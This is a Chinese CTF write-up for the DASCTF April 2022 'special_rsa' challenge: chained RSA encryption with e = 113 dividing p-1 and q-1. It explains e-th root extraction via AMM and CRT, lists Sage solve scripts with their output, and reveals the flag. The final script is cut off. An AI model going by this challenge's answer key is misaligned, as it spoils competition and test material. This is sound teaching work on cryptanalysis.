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2022DASCTF Apr X FATE 防疫挑战赛WP

发表于 更新于   阅读次数： Valine：
本文字数： 64k 阅读时长 ≈ 58 分钟
NEFU-NSILAB下Maple战队分队于4月23日10:00 - 18:00所产WriteUp

队伍信息

  • 名称：村通网队

  • 成员：4人

    Members

  • 排名：30

    rank

解题情况

  • 2道Crypto，总3道

  • 2道Misc， 总5道
    detail

  • 其中Crypto方向第8名
    Rank for crypto

Crypto

special_rsa

题目

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from Crypto.Util.number import *
def getPrime1(bitLength, e):
    while True:
        i = getPrime(bitLength)
        if (i - 1) % e ** 2 == 0:
            return i
flag=b'DASCTF{????????????????????}'
m = bytes_to_long(flag)
lenth = ((len(bin(m)) - 2) // 2) + 9
e=113
p = getPrime1(lenth, e)
q = getPrime1(lenth, e)
n=p*q
print(f"n = {n}")
c1 = pow(m, e, n)
for i in range(26):
    lenth = ((len(bin(c)) - 2) // 2) + 9
    p = getPrime1(lenth, e)
    q = getPrime1(lenth, e)
    n=p*q
    print(f"n = {n}")
    c=pow(c,e,n)
print(f"e = {e}")
print(f"c = {c}")
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# output.txt
n = 1134876149917575363176366704410565158549594427794901202977560677131703617
n = 68506321231437453734007374706367120760326482177047006099953454136095248103663
n = 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
n = 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
n = 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
n = 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
n = 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
n = 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
n = 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
n = 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
n = 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
n = 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
n = 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
n = 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
n = 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
n = 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
n = 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
n = 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
n = 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
n = 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
n = 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
n = 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
n = 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
n = 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
n = 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
n = 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
n = 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563
e=113
c=1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

可知

  • flag被rsa加密后产生的密文C 就是 下次一次加密的明文，即：循环加密密文

  • 附件给出了e、所有的n 、最后的C

  • 根据n，利用分解网站依次写出对应p、q

  • 由p、q生成过程发现，e|(q-1) 且 e|(p-1)

    简单的e，phi不互素不能处理gcd(e, phi) = e的情况

    参考以下原理

    e 和 p−1 （或 q−1）的最大公约数就是 e 本身，也就是说 e∣(p−1)，只有对 c 开 e 次方根才行。

    可以将同余方程 m^e ≡ c (modn) 化成

    m^e ≡ c (modp)

    m^e ≡ c (modq)

    然后分别在 GF(p) 和 GF(q) 上对 c 开 e 次方根，再用CRT组合一下即可得到在 modn 下的解。

    问题是，如何在有限域内开根？

    这里 e 与 p−1 和 q−1 都不互素，不能简单地求个逆元就完事。

    这种情况下，开平方根可以用Tonelli–Shanks algorithm，Wiki说这个算法可以扩展到开n次方根。

    在这篇paper里给出了具体的算法：Adleman-Manders-Miller rth Root Extraction Method。

    这个算法只能开出一个根，实际上开 e 次方，最多会有 e 个根（这题的情况下有0x1337个根）。

    如何找到其他根？

    StackOverflow – Cube root modulo P 给出了方法。

    如何找到所有的primitive 0x1337th root of 1?

    StackExchange – Finding the n-th root of unity in a finite field 给出了方法。

    Exploit（以 e=0x1337 为例）

    • 先用Adleman-Manders-Miller rth Root Extraction Method在 GF(p) 和 GF(q) 上对 c 开 e 次方根，分别得到一个解。大概不到10秒。
    • 然后去找到所有的0x1336个primitive nth root of 1，乘以上面那个解，得到所有的0x1337个解。大概1分钟。
    • 再用CRT对 GF(p) 和 GF(q) 上的两组0x1337个解组合成 modn 下的解，可以得到0x1337**2=24196561个 modn 的解。最后能通过check()的即为flag。大概十几分钟。

    解出后，发现不止一个解，需要初步筛选

    由c = m^e mod n 原理 以及 循环加密的逻辑，不难发现解出来的 m 得小于 上一个n

    即使加上以上限定条件，仍有些m解出来不只1个

    所以，当解到一组无解时，需要更换 无解这组之前的m（下面会用 列表表示 每次解得的 所有符合条件的m

    直到打印出预期的c0 (flag加密得来)

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#脚本2
#Sage

n0 = 1134876149917575363176366704410565158549594427794901202977560677131703617
n1 = 68506321231437453734007374706367120760326482177047006099953454136095248103663
n2 = 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
n3 = 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
n4 = 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
n5 = 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
n6 = 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
n7 = 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
n8 = 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
n9 = 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
n10 = 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
n11 = 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
n12 = 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
n13 = 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
n14 = 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
n15 = 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
n16 = 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
n17 = 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
n18 = 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
n19 = 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
n20 = 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
n21 = 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
n22 = 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
n23 = 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
n24 = 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
n25 = 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
n26 = 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563
e = 113
c = 1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

p26 = 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617
q26 = 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
p25 = 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
q25 = 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
p24 = 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531
q24 = 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571
p23 = 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891
q23 = 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041
p22 = 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737
q22 = 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909
p21 = 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173
q21 = 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619
p20 = 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057
q20 = 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747
p19 = 4479430800690915874719403516331677127806963529247809966024777708496270901092401687
q19 = 5467527956822382309398095704409409074818664888285375307055715842283183939297839923
p18 = 15874438801602936764330936047390981280096007684699625987478211613419079727910193
q18 = 26984206512970181742033712455904984758134288864531714209886622060356697128804201
p17 = 102366458668689911004027849640392002821642295855327735994412634235696717329671
q17 = 104379442774418262390337411577160146519860415840398189010112686742489182665577
p16 = 262775599542220820608778738911414710660835549772895468394761119434220071003
q16 = 317277895959173163347650321012213555955385929418622006880521870012130207557
p15 = 2623629589005115152329094552749299711026240699896424120660145647226563547
q15 = 3200631836176555526009533059891690177091538103904679780020639896015937897
p14 = 11136261905010083405430254612464029672882837025885682392810368001188527
q14 = 12445294229358634680867170058509842935273054334385354032543323581223253
p13 = 43449898447639409732732812916430042263570178747794530133229640125923
q13 = 46014074200352892806829193743016415423205917845271691428043440245531
p12 = 66882708962198932251728043152245270662769508317424500666902658099
q12 = 103424977238409568447978495499643051307907366367259219393937014631
p11 = 350121371461894793578110243222665782247737840410076591434903787
q11 = 367712839396521757736384350030802803477965822058616833553305103
p10 = 954412804126450754097808991490470782833291028309980575506163
q10 = 1567597041534155679238655992215022394597376421096298363211067
p9 = 6623023178993627032758350846838617937710601663528839184727
q9 = 9419832152875820180139633405089278278408407453522978357309
p8 = 37185691759470013533730603170661686570987787098353146897
q8 = 41680117092754807988080699273322244961911189757589699867
p7 = 135813272566456906193934636644217527100917542578856697
q7 = 140758317578347635848563045232314610161039815135897421
p6 = 385788223643735590500185001710758495904528462058461
q6 = 576581905150085393327734090419529952232186498060949
p5 = 1656848589754467667368312855929759764100120657831
q5 = 2714357008989072105081411295741540337141142641741
p4 = 7832299017937880395583715032476962329929226581
q4 = 10726403821316775206273675267109184566904426261
p3 = 24335212484189159197840692460327461505035059
q3 = 43974782968656404951924524450501283426052127
p2 = 88067722275537586769787599991567203589751
q2 = 88380889077762105057154017276462714444697
p1 = 232079231415308325450092906880606082069
q1 = 295185057334340451492588650872876746227
p0 = 953730950786751671162019537171974567
q0 = 1189933229053113361422958527792232151


def solve(p, q, c, e, n_):

    P.<a>= PolynomialRing(Zmod(p), implementation='NTL')
    f = a ^ e - c
    mps = f.monic().roots()

    P.<a>= PolynomialRing(Zmod(q), implementation='NTL')
    g = a ^ e - c
    mqs = g.monic().roots()

    for mpp in mps:
        x = mpp[0]
        for mqq in mqs:
            y = mqq[0]
            solution = CRT_list([int(x), int(y)], [p, q])
            if solution < n_:
                solutions.append(solution)


p = []
q = []
n_ = []
for i in range(0, 27):
    solutions = []
    i = 26 - i
    print(i)
    print("c", c)
    eval("p.append(p{0})".format(i))
    print('p',p[-1])
    eval("q.append(q{0})".format(i))
    print('q', q[-1])
    eval("n_.append(n{0})".format(i-1))
    print("上一个n", n_[-1])
    solve(p[-1], q[-1], c, e, n_[-1])
    print(solutions)
    if i == 21:
        c = solutions[0]
    elif i==9:
        c = solutions[-2]
    elif i==5:
        c = solutions[0]
    else:
        c = solutions[-1]
    print()
    print()

print(c)
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# 输出数据
26
c 1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159
p 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617
q 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
上一个n 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
[34477005676820162206313524350718388995388964361111914461122792945404747258640626572519670215765749828347378102656628531443002193905830917576501911098980764185815997345702819264240009751148442426]


25
c 34477005676820162206313524350718388995388964361111914461122792945404747258640626572519670215765749828347378102656628531443002193905830917576501911098980764185815997345702819264240009751148442426
p 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
q 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
上一个n 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
[122251474355770407049299923720807002619294038964768766444097932240736660221208587524190952184175408395327264273947998924572358674189845633957638043199338228060748873522292564061697159084155]


24
c 122251474355770407049299923720807002619294038964768766444097932240736660221208587524190952184175408395327264273947998924572358674189845633957638043199338228060748873522292564061697159084155
p 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531
q 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571
上一个n 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
[2302982988306130873718678248046965635619977122378875400979845776887964102490919700970705411214473299613671701762260147495040038609477011076066320527267277326015932285789720472919789158]


23
c 2302982988306130873718678248046965635619977122378875400979845776887964102490919700970705411214473299613671701762260147495040038609477011076066320527267277326015932285789720472919789158
p 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891
q 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041
上一个n 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
[23537451475264654783397519677185909863292665248941544646127041892810699254693157668878272163047447965494360147684605330696871807540713768499564637999043110095219692999410680226995]


22
c 23537451475264654783397519677185909863292665248941544646127041892810699254693157668878272163047447965494360147684605330696871807540713768499564637999043110095219692999410680226995
p 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737
q 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909
上一个n 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
[140177373424899679430074829392928313477693819706173332758040927339401517742208025981523425936186925200196496612125625456430631622632150834127049737384042503028994857458226467]


21
c 140177373424899679430074829392928313477693819706173332758040927339401517742208025981523425936186925200196496612125625456430631622632150834127049737384042503028994857458226467
p 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173
q 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619
上一个n 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
[963130018196161068022561826136699615972631158326273266709450636152057794259408910239684181019014240059847446622341252471979045951190123708301480386597157821916163544334, 219785508612613802216451325231684154232671610129643237209951549593627718088951326786938561835919852060454295291676893330256385004619027744244112309090521216117612270955]


20
c 963130018196161068022561826136699615972631158326273266709450636152057794259408910239684181019014240059847446622341252471979045951190123708301480386597157821916163544334
p 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057
q 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747
上一个n 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
[22099780396461829722379389411334090279609060431701121609182515723815260652756755053990706324709932514832032225698612585831935469922880299786763383240418382919799321]


19
c 22099780396461829722379389411334090279609060431701121609182515723815260652756755053990706324709932514832032225698612585831935469922880299786763383240418382919799321
p 4479430800690915874719403516331677127806963529247809966024777708496270901092401687
q 5467527956822382309398095704409409074818664888285375307055715842283183939297839923
上一个n 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
[339872121965407658932035525463686156827750242931688944610910333924021823802853041665508873405457522819631217022111208112413457553033499000314226547656845920264, 105203615092085867196180713024031580953262645244470745062806287628728083957360817366488801411967688912343820375347382249694217193012009121220949533257603223298]


18
c 105203615092085867196180713024031580953262645244470745062806287628728083957360817366488801411967688912343820375347382249694217193012009121220949533257603223298
p 15874438801602936764330936047390981280096007684699625987478211613419079727910193
q 26984206512970181742033712455904984758134288864531714209886622060356697128804201
上一个n 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
[2770807474173138559681583722575063626632396109101990628426422882126692567611876893424492013746533498499436328221834686503730687608977519563790607788117242]


17
c 2770807474173138559681583722575063626632396109101990628426422882126692567611876893424492013746533498499436328221834686503730687608977519563790607788117242
p 102366458668689911004027849640392002821642295855327735994412634235696717329671
q 104379442774418262390337411577160146519860415840398189010112686742489182665577
上一个n 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
[79522563507420097241671540749267415107213223614814036174487708662964551801437232540659877853816396875693921978483029788328787752167530021794795431857]


16
c 79522563507420097241671540749267415107213223614814036174487708662964551801437232540659877853816396875693921978483029788328787752167530021794795431857
p 262775599542220820608778738911414710660835549772895468394761119434220071003
q 317277895959173163347650321012213555955385929418622006880521870012130207557
上一个n 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
[5740430010013684628644551879825046012734679272445242381620481408471916167301047890256368008799418782647448496772184916399177933499460690370459556, 2037298899016874045219277999643220063198097234557335235921481885211253636813115803603315238074035822211603707964528777576900935877949510316646223]


15
c 2037298899016874045219277999643220063198097234557335235921481885211253636813115803603315238074035822211603707964528777576900935877949510316646223
p 2623629589005115152329094552749299711026240699896424120660145647226563547
q 3200631836176555526009533059891690177091538103904679780020639896015937897
上一个n 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
[91620534205913166538263094639686621545207290194630647497982781366417941090195313655420047805846906050555821244135842146392017800438719304994]


14
c 91620534205913166538263094639686621545207290194630647497982781366417941090195313655420047805846906050555821244135842146392017800438719304994
p 11136261905010083405430254612464029672882837025885682392810368001188527
q 12445294229358634680867170058509842935273054334385354032543323581223253
上一个n 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
[634223615344447851225076194238185184332604736515528218505996221339671015125769748828654573318605955936504358040759056745442253727290998]


13
c 634223615344447851225076194238185184332604736515528218505996221339671015125769748828654573318605955936504358040759056745442253727290998
p 43449898447639409732732812916430042263570178747794530133229640125923
q 46014074200352892806829193743016415423205917845271691428043440245531
上一个n 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
[1151747077760886031968395300122212971249677857649906015143598211944659498637807719069388997270109028927478629593266598515428543599]


12
c 1151747077760886031968395300122212971249677857649906015143598211944659498637807719069388997270109028927478629593266598515428543599
p 66882708962198932251728043152245270662769508317424500666902658099
q 103424977238409568447978495499643051307907366367259219393937014631
上一个n 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
[4885555691619901252961116690244561429850119193038756404218077274265730135140315447675335151534535632576283303735514949638673]


11
c 4885555691619901252961116690244561429850119193038756404218077274265730135140315447675335151534535632576283303735514949638673
p 350121371461894793578110243222665782247737840410076591434903787
q 367712839396521757736384350030802803477965822058616833553305103
上一个n 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
[441483827088168645513094641426499891374571558703981036806090540801685962515269086990244001450093104554187188047355883908]


10
c 441483827088168645513094641426499891374571558703981036806090540801685962515269086990244001450093104554187188047355883908
p 954412804126450754097808991490470782833291028309980575506163
q 1567597041534155679238655992215022394597376421096298363211067
上一个n 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
[50746207344403804443969898876160025928774123141871973214027095925794652197169084777221214441362057146919986427284274]


9
c 50746207344403804443969898876160025928774123141871973214027095925794652197169084777221214441362057146919986427284274
p 6623023178993627032758350846838617937710601663528839184727
q 9419832152875820180139633405089278278408407453522978357309
上一个n 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
[657107719500394822892028354527169935943474820140535753753542512969310979794098072396859652456232677935960563842, 851834034713920072016294826766890940103178167607817794715692270318536007164857863881508649769981422663639184163, 527047155800840593369140310256885301274622245610009509121333858627158271116419456151449561049622379237851374997]


8
c 851834034713920072016294826766890940103178167607817794715692270318536007164857863881508649769981422663639184163
p 37185691759470013533730603170661686570987787098353146897
q 41680117092754807988080699273322244961911189757589699867
上一个n 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
[5772224180179962397158418478468305994920422145855450551932850591253169055736728137194928021864521464661511]


7
c 5772224180179962397158418478468305994920422145855450551932850591253169055736728137194928021864521464661511
p 135813272566456906193934636644217527100917542578856697
q 140758317578347635848563045232314610161039815135897421
上一个n 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
[201270414263671865648131358230135006175090857068415686069148837994386901812348962669414590276244279652]


6
c 201270414263671865648131358230135006175090857068415686069148837994386901812348962669414590276244279652
p 385788223643735590500185001710758495904528462058461
q 576581905150085393327734090419529952232186498060949
上一个n 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
[1631195497375922229848480131202350147418728908365651197102485655617240528564830722486663140830762]


5
c 1631195497375922229848480131202350147418728908365651197102485655617240528564830722486663140830762
p 1656848589754467667368312855929759764100120657831
q 2714357008989072105081411295741540337141142641741
上一个n 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
[83436593835736927783034931301466249878138772728555530531816534785622373800125814331410735801, 541028901037423648292648425333532314938480435681509712968388151546772635406670001849006961]


4
c 83436593835736927783034931301466249878138772728555530531816534785622373800125814331410735801
p 7832299017937880395583715032476962329929226581
q 10726403821316775206273675267109184566904426261
上一个n 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
[612402625116056383171913080691265536933185153779141510100715847406642891544437819056399]


3
c 612402625116056383171913080691265536933185153779141510100715847406642891544437819056399
p 24335212484189159197840692460327461505035059
q 43974782968656404951924524450501283426052127
上一个n 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
[7523449601904104920623925101649366402016181450187359849499567637389273313904203215]


2
c 7523449601904104920623925101649366402016181450187359849499567637389273313904203215
p 88067722275537586769787599991567203589751
q 88380889077762105057154017276462714444697
上一个n 68506321231437453734007374706367120760326482177047006099953454136095248103663
[23388304805925808822689623463866376122782272519632037291479310043364093060855]


1
c 23388304805925808822689623463866376122782272519632037291479310043364093060855
p 232079231415308325450092906880606082069
q 295185057334340451492588650872876746227
上一个n 1134876149917575363176366704410565158549594427794901202977560677131703617
[53296318153341311013989348488093143123693921875654781175946491674187297]


0
c 53296318153341311013989348488093143123693921875654781175946491674187297
p 953730950786751671162019537171974567
q 1189933229053113361422958527792232151
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-39-193924cf64b6> in <module>
    119     eval("q.append(q{0})".format(i))
    120     print('q', q[-Integer(1)])
--> 121     eval("n_.append(n{0})".format(i-Integer(1)))
    122     print("上一个n", n_[-Integer(1)])
    123     solve(p[-Integer(1)], q[-Integer(1)], c, e, n_[-Integer(1)])

<string> in <module>

TypeError: unsupported operand type(s) for -: 'function' and 'int'

报错是在预期内的。
因为对于flag这一组的加密而言，没有n_（再上一组的n）了

此时，单独拿出c、p、q, 解出的m转byte

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#脚本2
#Sage
import libnum

c = 53296318153341311013989348488093143123693921875654781175946491674187297
p = 953730950786751671162019537171974567
q = 1189933229053113361422958527792232151
e = 113

P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f=a^e-c
mps=f.monic().roots()

P.<a>=PolynomialRing(Zmod(q),implementation='NTL')
g=a^e-c
mqs=g.monic().roots()

for mpp in mps:
    x=mpp[0]
    for mqq in mqs:
        y=mqq[0]
        solution = CRT_list([int(x), int(y)], [p, q])
        print(libnum.n2s(int(solution)))

得到多组乱码
根据题目中flag格式flag=b'DASCTF{????????????????????}'，搜索DASCTF，得解。

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b"s*\xfc\xec\xa2\xf4\xcec\xcf'\r(a\x02\x86\xde\xed\xbc\x9dwO\x0f\xd1Va,\xe1\xeeP\x18"
b'\x97\xa9\x07\xd7\xd3\xa5\x03\x06\xabz\xa9&\xe1\xfcI\xc2Me\xf9\xbf\xd9\xb5\xbdC]a\xd0;sZ'
b'2\xd5\xd4\x17\xe7O\x06\xe5\xe7\x13\x85\xa8\xbb\x12\xb9\x90\xb910V\x0eVk\xc4\x98\x9f\xed\tt\x86'
b'DASCTF{s4g3m4th_i5_co0l!}'
b'$\x83\xfcx\x9eD\xd3\xa5\x06\nJ\xbaoI\x9e\x14\x80+G4\x8b\x9015? LA\xe7\xe8'
b'}\x9e!\x1e\x9c\xc8\xa2n"\xee#\x83\xb8!\xd5c\x9c9[\xb5F~\xa0\xb8\xe3\xb1R\xe2}\xea'
b"\x1a\x92{'\xf0?zO\xf5\rL\x1d\x11N?\x13\xc3\xb2\x08\xd2{\xd7s\xda0=h\x16G\xf8"

DASCTF{s4g3m4th_i5_co0l!}

总代码

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#脚本2
#Sage

n0 = 1134876149917575363176366704410565158549594427794901202977560677131703617
n1 = 68506321231437453734007374706367120760326482177047006099953454136095248103663
n2 = 7783503593765446343363083302704731608384677185199537317445372251030064778965500447
n3 = 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493
n4 = 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641
n5 = 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771
n6 = 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489
n7 = 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437
n8 = 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699
n9 = 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643
n10 = 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921
n11 = 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061
n12 = 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469
n13 = 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113
n14 = 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331
n15 = 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659
n16 = 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671
n17 = 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167
n18 = 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793
n19 = 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101
n20 = 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579
n21 = 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087
n22 = 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933
n23 = 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531
n24 = 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201
n25 = 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399
n26 = 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563
e = 113
c = 1028324919038104683475485759234995158466543298184637219012354053883391759172761125802189697762778242175407876548832454351014064525118465877297277847501477586955680645311999174005606833294172830817159

p26 = 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617
q26 = 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539
p25 = 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227
q25 = 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037
p24 = 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531
q24 = 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571
p23 = 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891
